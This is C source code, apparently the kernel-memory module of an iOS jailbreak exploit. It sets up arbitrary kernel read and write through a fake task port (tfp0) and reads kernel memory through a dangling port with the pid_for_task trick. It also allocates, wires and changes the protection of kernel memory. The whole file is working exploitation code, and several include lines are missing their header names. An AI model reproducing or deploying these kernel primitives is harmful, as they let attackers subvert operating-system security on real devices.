#include #include #include #include #include "kmem.h" #include "kutils.h" #include "common.h" #include extern void NSLog(CFStringRef, ...); #define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false) // the exploit bootstraps the full kernel memory read/write with a fake // task which just allows reading via the bsd_info->pid trick // this first port is kmem_read_port mach_port_t kmem_read_port = MACH_PORT_NULL; void prepare_rk_via_kmem_read_port(mach_port_t port) { kmem_read_port = port; } mach_port_t tfp0 = MACH_PORT_NULL; void prepare_rwk_via_tfp0(mach_port_t port) { tfp0 = port; } void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) { tfp0 = fake_tfp0; } bool have_kmem_read() { return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL); } bool have_kmem_write() { return (tfp0 != MACH_PORT_NULL); } size_t kread(uint64_t where, void* p, size_t size) { int rv; size_t offset = 0; while (offset < size) { mach_vm_size_t sz, chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); if (rv || sz == 0) { LOG("error reading kernel @%p", (void*)(offset + where)); break; } offset += sz; } return offset; } size_t kwrite(uint64_t where, const void* p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, (mach_msg_type_number_t)chunk); if (rv) { LOG("error writing kernel @%p", (void*)(offset + where)); break; } offset += chunk; } return offset; } bool wkbuffer(uint64_t kaddr, void* buffer, size_t length) { if (tfp0 == MACH_PORT_NULL) { LOG("attempt to write to kernel memory before any kernel memory write primitives available"); sleep(3); return false; } return (kwrite(kaddr, buffer, length) == length); } bool rkbuffer(uint64_t kaddr, void* buffer, size_t length) { return (kread(kaddr, buffer, length) == length); } void WriteKernel32(uint64_t kaddr, uint32_t val) { if (tfp0 == MACH_PORT_NULL) { LOG("attempt to write to kernel memory before any kernel memory write primitives available"); sleep(3); return; } wkbuffer(kaddr, &val, sizeof(val)); } void WriteKernel64(uint64_t kaddr, uint64_t val) { if (tfp0 == MACH_PORT_NULL) { LOG("attempt to write to kernel memory before any kernel memory write primitives available"); sleep(3); return; } wkbuffer(kaddr, &val, sizeof(val)); } uint32_t rk32_via_kmem_read_port(uint64_t kaddr) { kern_return_t err; if (kmem_read_port == MACH_PORT_NULL) { LOG("kmem_read_port not set, have you called prepare_rk?"); sleep(10); exit(EXIT_FAILURE); } mach_port_context_t context = (mach_port_context_t)kaddr - 0x10; err = mach_port_set_context(mach_task_self(), kmem_read_port, context); if (err != KERN_SUCCESS) { LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err)); sleep(10); exit(EXIT_FAILURE); } // now do the read: uint32_t val = 0; err = pid_for_task(kmem_read_port, (int*)&val); if (err != KERN_SUCCESS) { LOG("error calling pid_for_task %x %s", err, mach_error_string(err)); sleep(10); exit(EXIT_FAILURE); } return val; } uint32_t rk32_via_tfp0(uint64_t kaddr) { uint32_t val = 0; rkbuffer(kaddr, &val, sizeof(val)); return val; } uint64_t rk64_via_kmem_read_port(uint64_t kaddr) { uint64_t lower = rk32_via_kmem_read_port(kaddr); uint64_t higher = rk32_via_kmem_read_port(kaddr + 4); uint64_t full = ((higher << 32) | lower); return full; } uint64_t rk64_via_tfp0(uint64_t kaddr) { uint64_t val = 0; rkbuffer(kaddr, &val, sizeof(val)); return val; } uint32_t ReadKernel32(uint64_t kaddr) { if (tfp0 != MACH_PORT_NULL) { return rk32_via_tfp0(kaddr); } if (kmem_read_port != MACH_PORT_NULL) { return rk32_via_kmem_read_port(kaddr); } LOG("attempt to read kernel memory but no kernel memory read primitives available"); sleep(3); return 0; } uint64_t ReadKernel64(uint64_t kaddr) { if (tfp0 != MACH_PORT_NULL) { return rk64_via_tfp0(kaddr); } if (kmem_read_port != MACH_PORT_NULL) { return rk64_via_kmem_read_port(kaddr); } LOG("attempt to read kernel memory but no kernel memory read primitives available"); sleep(3); return 0; } const uint64_t kernel_addr_space_base = 0xffff000000000000; void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) { if (dest >= kernel_addr_space_base) { // copy to kernel: wkbuffer(dest, (void*)src, length); } else { // copy from kernel rkbuffer(src, (void*)dest, length); } } uint64_t kmem_alloc(uint64_t size) { if (tfp0 == MACH_PORT_NULL) { LOG("attempt to allocate kernel memory before any kernel memory write primitives available"); sleep(3); return 0; } kern_return_t err; mach_vm_address_t addr = 0; mach_vm_size_t ksize = round_page_kernel(size); err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err); sleep(3); return 0; } return addr; } uint64_t kmem_alloc_wired(uint64_t size) { if (tfp0 == MACH_PORT_NULL) { LOG("attempt to allocate kernel memory before any kernel memory write primitives available"); sleep(3); return 0; } kern_return_t err; mach_vm_address_t addr = 0; mach_vm_size_t ksize = round_page_kernel(size); LOG("vm_kernel_page_size: %lx", vm_kernel_page_size); err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err); sleep(3); return 0; } LOG("allocated address: %llx", addr); addr += 0x3fff; addr &= ~0x3fffull; LOG("address to wire: %llx", addr); err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE); if (err != KERN_SUCCESS) { LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err); sleep(3); return 0; } return addr; } void kmem_free(uint64_t kaddr, uint64_t size) { if (tfp0 == MACH_PORT_NULL) { LOG("attempt to deallocate kernel memory before any kernel memory write primitives available"); sleep(3); return; } kern_return_t err; mach_vm_size_t ksize = round_page_kernel(size); err = mach_vm_deallocate(tfp0, kaddr, ksize); if (err != KERN_SUCCESS) { LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err); sleep(3); return; } } void kmem_protect(uint64_t kaddr, uint32_t size, int prot) { if (tfp0 == MACH_PORT_NULL) { LOG("attempt to change protection of kernel memory before any kernel memory write primitives available"); sleep(3); return; } kern_return_t err; err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot); if (err != KERN_SUCCESS) { LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err); sleep(3); return; } }